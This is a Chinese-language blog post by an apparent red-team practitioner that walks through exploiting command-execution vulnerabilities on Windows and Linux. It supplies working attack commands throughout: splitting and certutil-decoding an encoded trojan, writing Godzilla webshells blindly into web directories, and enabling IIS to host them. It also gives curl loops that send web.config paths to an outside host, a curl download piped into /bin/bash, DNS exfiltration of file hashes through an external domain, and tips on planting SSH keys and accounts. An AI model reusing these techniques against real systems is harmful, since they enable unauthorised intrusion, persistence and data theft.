最近在家很沮丧,来回面试好几家,大公司有些问题还能问到点子上,小公司问的大部分都是一些奇葩没水平的问题,问1+1=多少让爱因斯坦解答不一样也是2,这种类型的问题搞得我心情不好,有点学不进东西,之前拖欠了太多技术债务也没有解决,打算先从小的问题开始慢慢解决
命令执行辅助脚本编写
之前遇到命令执行比较复杂,苛刻条件越来越多,大部分都不了了放弃利用了。现在有空重新弄一下,我把这些情况分为windows linux,有无回显,是否DNS出网,命令执行位置GET或POST,是否可写shell,权限高低细分下来64种情况,一半都是比较简单就不写了
测试环境搭建
细分这么多情况搭建环境特别麻烦,不过linux环境直接用vulhub项目拉起漏洞复现环境测试,windows我这里直接就用的之前的虚拟机+向日葵漏洞
Windows
有回显总体来说还舒服:
有回显出网
适用于certutil无法直接下载或者杀毒拦截严重的情况,y4er大佬在先知已经写过这个了
powershell -c "'a' | Out-File C:\1.txt -Append"
不过我觉得他的太慢了,文件太大的时候慢的很,看其他人说echo,其实在windows上echo并不好用我自己找了一下替代echo的方案,利用set命令就可以解决echo会追加换行的问题
<nul set /p "=Hello"
<nul set /p "=Hello">output.txt
解决这个问题就可以使用多线程并发快速落地文件了,之后就可以切割我们的木马,之后base64编码、url编码解决传输问题,编写完成脚本之后会生成两个copy命令辅助我们在不同Get和post下还原:
脚本切割了51次,生成了comeout.txt,用这个就和用暴力破解的字典一样直接burp导入就好了
勾上url编码
攻击结束:
之后是还原文件:
certutil.exe+-f+-decode+c:\test\§output§.txt+c:\test\§test§.bin
之后利用脚本生成的命令还原校验hash,不出一分钟攻击就结束了
清理垃圾:
del *.bin *.txt
有回显不出网
这部分主要还是不出网利用思路一样,搭建HTTP的正向webshell就可以继续攻击内网了,可以先写一个一句话木马,之后再上传HTTP正向代理脚本
寻找web目录,可以找个网站特定的js或者图片
dir /s /b C:\web.config
如果不是web服务命令执行,权限高可以直接一条命令开启IIS的web服务器,直接写入默认的IIS目录C:\inetpub\wwwroot
,估计还是内网用的多,如果你够疯狂,权限不够去切割exp去提权,熟悉了exp搞起来也不难,就是很麻烦,因为很多提权的exp用起来都是要手动修改的,没有超级大的团队基本上没有这个时间成本:
net start W3SVC
写入一句话,老样子base64和url编码,我用的哥斯拉,哥斯拉的马没有空格方便:
解码链接:
可以上线操作了:
默认IIS并没有装上,可以一条命令装上
Install-WindowsFeature -Name Web-Server -IncludeManagementTools
或者
Install-WindowsFeature Web-Server
Install-WindowsFeature Web-Default-Doc
Install-WindowsFeature Web-Dir-Browsing
Install-WindowsFeature Web-Http-Errors
Install-WindowsFeature Web-Static-Content
Install-WindowsFeature Web-Http-Redirect
Install-WindowsFeature Web-Http-Logging
Install-WindowsFeature Web-Custom-Logging
Install-WindowsFeature Web-Log-Libraries
Install-WindowsFeature Web-Request-Monitor
Install-WindowsFeature Web-Http-Tracing
Install-WindowsFeature Web-Stat-Compression
Install-WindowsFeature Web-Filtering
Install-WindowsFeature Web-Basic-Auth
Install-WindowsFeature Web-Digest-Auth
Install-WindowsFeature Web-IP-Security
Install-WindowsFeature Web-Url-Auth
Install-WindowsFeature Web-Windows-Auth
Install-WindowsFeature Web-Net-Ext45
Install-WindowsFeature Web-Asp-Net45
Install-WindowsFeature Web-WebSockets
Install-WindowsFeature Web-Mgmt-Console
Install-WindowsFeature Web-Scripting-Tools
Install-WindowsFeature Web-Mgmt-Service
无回显出网
闭着眼睛拉马子就行,要写webshell也行。http可以cmd验证一下,dns有点麻烦,window没办法直接拼接到域名上,遇到中文路径就行不通,就没写了
for /F %i in ('dir /s /b c:\web.config') do curl http://www.baidu.com/%i
低版本windows用证书工具请求:
for /F %i in ('dir /s /b c:\web.config') do -urlcache -split -f http://www.baidu.com/%i
无回显不出网可写shell (权限高/权限低)
这部分主要难点在找web目录,可以先把web目录写进特定的地方,我这里用必有权限的tmp环境变量之后利用命令去一个个判断延迟判断:
dir /s /b c:\hacker.js > %TMP%\out.txt
不清楚是C盘还是D盘,可以使用|| windows链接符,如下:
dir /s /b c:\hacker.js > %TMP%\out.txt || dir /s /b d:\hacker.js > %TMP%\out.txt
写完就想办法读取出来,一般国内路径有中文,对文件进行base64编码避免干扰。
certutil.exe -encode %TMP%\out.txt %TMP%\base.txt
type %TMP%\base.txt
需要删除无用字符:
type %TMP%\base.txt | findstr /V "^---" > %TMP%\cleaned.txt
写一半本来想通过延迟去一个个比对,但是发现更好的办法可以盲写webshell,比我上面的速度快不少:
for /r C:\ %i in (sy-small-banner*.png) do @echo "test" > %i.php
无回显不出网不可写shell(权限高/权限低)
这种基本可以放弃了,深入利用非常困难,最多执行一下命令把结果挂到web目录拿个100分,运气好是重要系统的话拿个几千分可以跑了,顶级大佬应该有其他办法
Linux
docker中的linux缺少很多命令,比较有意思的是ip和curl命令居然还有,如果存在curl正常写入下载就好了
不存在curl依然要用echo去写马,写webshell就找web路径,写一般的马就写到/tmp目录下就行
出网
不推荐使用反弹shell,现在流量安全设备到处都是,可以肯定100%会检测到这类攻击事件,就算不拦截,反弹shell的流量也是全部是明文,蓝队只需要看一眼流量设备就能知道后续发生的所有事情,极度不推荐专业红队用这类操作
直接下载
curl -o /tmp/test http://www.baidu.com/img/flexible/logo/pc/result.png | /bin/bash
linux的echo依然存在换行的问题,不过可以echo -n取消换行
老样子切割准备开始冲:
echo aWQgPiBwdWJsaWMvYXNzZXRzL2Fzc2V0cy5wbmc= | base64 -d > /tmp/0.bin
dns出网验证hash,curl必须要http,不然很多环境验证ssl直接被卡了:
md5=$(md5sum /tmp/test | cut -d ' ' -f1)".335ca4a5b0.ipv6.1433.eu.org" && curl "http://$md5"
其他写法,用于不支持命令链接的情况
curl "http://$(md5sum /tmp/1.txt | cut -d ' ' -f1).335ca4a5b0.ipv6.1433.eu.org"
权限高写ssh公钥,添加用户,,计划任务这些,linux能做的稍微多一些,对linux文件系统熟悉的师傅应该玩的可以更花
不出网(可回显/不可回显)
找web目录,可回显还是比较简单
find / -type f -name assets.png 2>/dev/null
不可回显,找到图片assets.png,web目录之后挂上结果
result=$(find / -type f -name assets.png 2>/dev/null | sed 's|/[^/]*$||') echo "$result" > "${result}/1.txt"
最复杂的盲写webshell文件,思路一样是找图片盲写:
for i in `find /home -name "website.png"`; do echo "text" >`basename $i`.php; done
完
摆烂完结,调节一下情绪后面继续学Windows,学太多好多都忘了,复习都要几个月,命令执行有些漏洞触发其实非常复杂,可能提交的和回显完全要触发多步,检测异步的命令注入即使是老师傅也非常容易错过,利用起来就更加复杂了,这篇文章依然没能完全减轻工作复杂性,本文使用的脚本已经上传Github https://github.com/kaliworld/cut_file。